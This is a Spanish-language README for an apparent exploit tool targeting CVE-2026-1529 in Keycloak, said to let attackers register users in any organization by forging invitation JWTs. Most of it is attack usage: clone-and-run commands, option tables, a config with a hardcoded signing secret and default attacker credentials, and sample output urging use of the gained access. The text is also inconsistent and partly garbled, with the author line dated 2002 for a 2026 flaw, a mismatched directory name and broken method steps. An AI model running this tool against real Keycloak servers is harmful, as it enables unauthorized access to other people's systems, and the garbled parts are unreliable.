
CVE-2026-1529 (PoC) es una vulnerabilidad crítica en Keycloak que permite el registro no autorizado de organizaciones mediante una validación incorrecta de los tokens de invitación. Esta herramienta de explotación demuestra la vulnerabilidad manipulando tokens JWT para registrar usuarios en organizaciones no autorizadas.
Keycloak: Registro no autorizado de organizaciones mediante una validación inadecuada del token de invitación
Esta herramienta es solo para fines educativos y de pruebas de seguridad. Úsala únicamente en sistemas donde tengas permiso explícito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal y poco ético. Los autores de esta herramienta no son responsables de ningún uso indebido o daño causado por este software.
Creado por: f3ds cr3w est, 2002
CVE-2026-1529 es una vulnerabilidad crítica en Keycloak que permite el registro no autorizado de organizaciones mediante una validación inadecuada del token de invitación. Esta herramienta de explotación demuestra la vulnerabilidad manipulando tokens JWT para registrar usuarios en organizaciones no autorizadas.
La vulnerabilidad existe en el proceso de validación de tokens JWT para las invitaciones a organizaciones. Los atacantes pueden manipular los campos org_id y email en el payload JWT, lo que les permite registrar usuarios en cualquier organización sin la autorización adecuada.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Standard usage with target URL
python keycloak-exploit.py https://target-keycloak.com
# Show help
python keycloak-exploit.py -h
# Show version
python keycloak-exploit.py -v
# Use custom invitation token
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Use custom organization ID
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Use custom configuration file
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Enable debug logging
python keycloak-exploit.py -d https://target-keycloak.com
| Opción | Descripción | ¿Requerido? |
|---|---|---|
target | URL objetivo de Keycloak (IP o dominio) | Sí |
-t, --token | Token de invitación personalizado a usar | No |
-o, --org-id | ID de organización personalizado | No |
-c, --config | Ruta al archivo de configuración | No |
-d, --debug | Habilita el registro de depuración | No |
-v, --version | Muestra la información de versión | No |
-h, --help | Muestra el mensaje de ayuda | No |
Cuando la explotación es exitosa, verás una salida como la siguiente:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
Si la explotación falla, verás:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # This file
├── config/
│ └── default_config.json # Default configuration
├── utils/
│ ├── jwt_utils.py # JWT manipulation utilities
│ ├── http_utils.py # HTTP client utilities
│ └── crypto_utils.py # Cryptographic utilities
├── output/
│ ├── logs/ # Log files
│ └── reports/ # Exploit reports
La herramienta utiliza un archivo de configuración predeterminado (config/default_config.json) con los siguientes ajustes:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Puedes crear un archivo de configuración personalizado y usarlo con la opción -c:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
La herramienta explota la validación JWT inadecuada de la siguiente manera:
org_id para apuntar a una organización diferenteemail si es necesarioErrores de conexión
Errores de validación de token
org_id, email, invitation_type)